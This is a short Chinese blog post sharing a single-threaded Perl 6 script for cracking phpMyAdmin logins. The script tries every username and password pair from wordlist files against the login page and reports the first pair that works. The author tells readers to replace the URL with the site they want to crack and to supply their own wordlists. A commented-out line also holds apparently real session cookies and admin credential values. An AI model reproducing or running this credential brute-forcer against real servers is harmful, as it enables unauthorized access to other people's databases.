perl6 单线程破解phpmyadmin脚本

Posted 2020-09-27 FireC@t @ Perl6

use HTTP::UserAgent;
my $ua = HTTP::UserAgent.new;
my $url = \'http://localhost/phpMyAdmin/index.php\';#phpmyadmin登录网址

my @password = lines \'password.txt\'.IO;#密码文件为password.txt
my @username = lines \'username.txt\'.IO;
#$ua.cookies.set-cookie(\'Set-Cookie:phpMyAdmin=4vd2oee7t866juc4mhdgh1f2krfjrg19; pma_lang=zh_CN; pma_mcrypt_iv=fQrWZU8NfOY%3D; pmaUser-1=%2FvfpAdZXYMk%3D; ui_session=2986ad8c0a5b3df4d7028d5f3c06e936c5963aaa3a167b3ee0278412688165d0ddb6c3ff6bbb1205814c276b222aaa72f04e2e57eb2ebefe0b0f8471d877ef955; deviceid=1499131713523; xinhu_ca_adminuser=admin; xinhu_ca_rempass=1; xinhu_ca_adminpass=hh0bg0hd0wtt0hb0lb0bz0zn09\');
for @username X @password -> ($username, $password) {
  say \'Check: \'~$username~\' and \'~$password;
  my %data = :pma_username($username),:pma_password($password),:server,:token<c772cbc73b0aa39a08e6b772e87ab224>;
  my $result = $ua.post($url, %data);
  if ($result.content ~~ /\'phpMyAdmin is more friendly with\'/) {
    say \'Login Ok!\';
    say \'--> \'~$username~\':\'~$password;
    exit;
  }
}

 

 

运行效果如下所示:

 

 

这个 X 操作符实在太方便了。

里面的phpmyadmin改成你要破解的地址

username.txt / password.txt 改成你要的字典就行。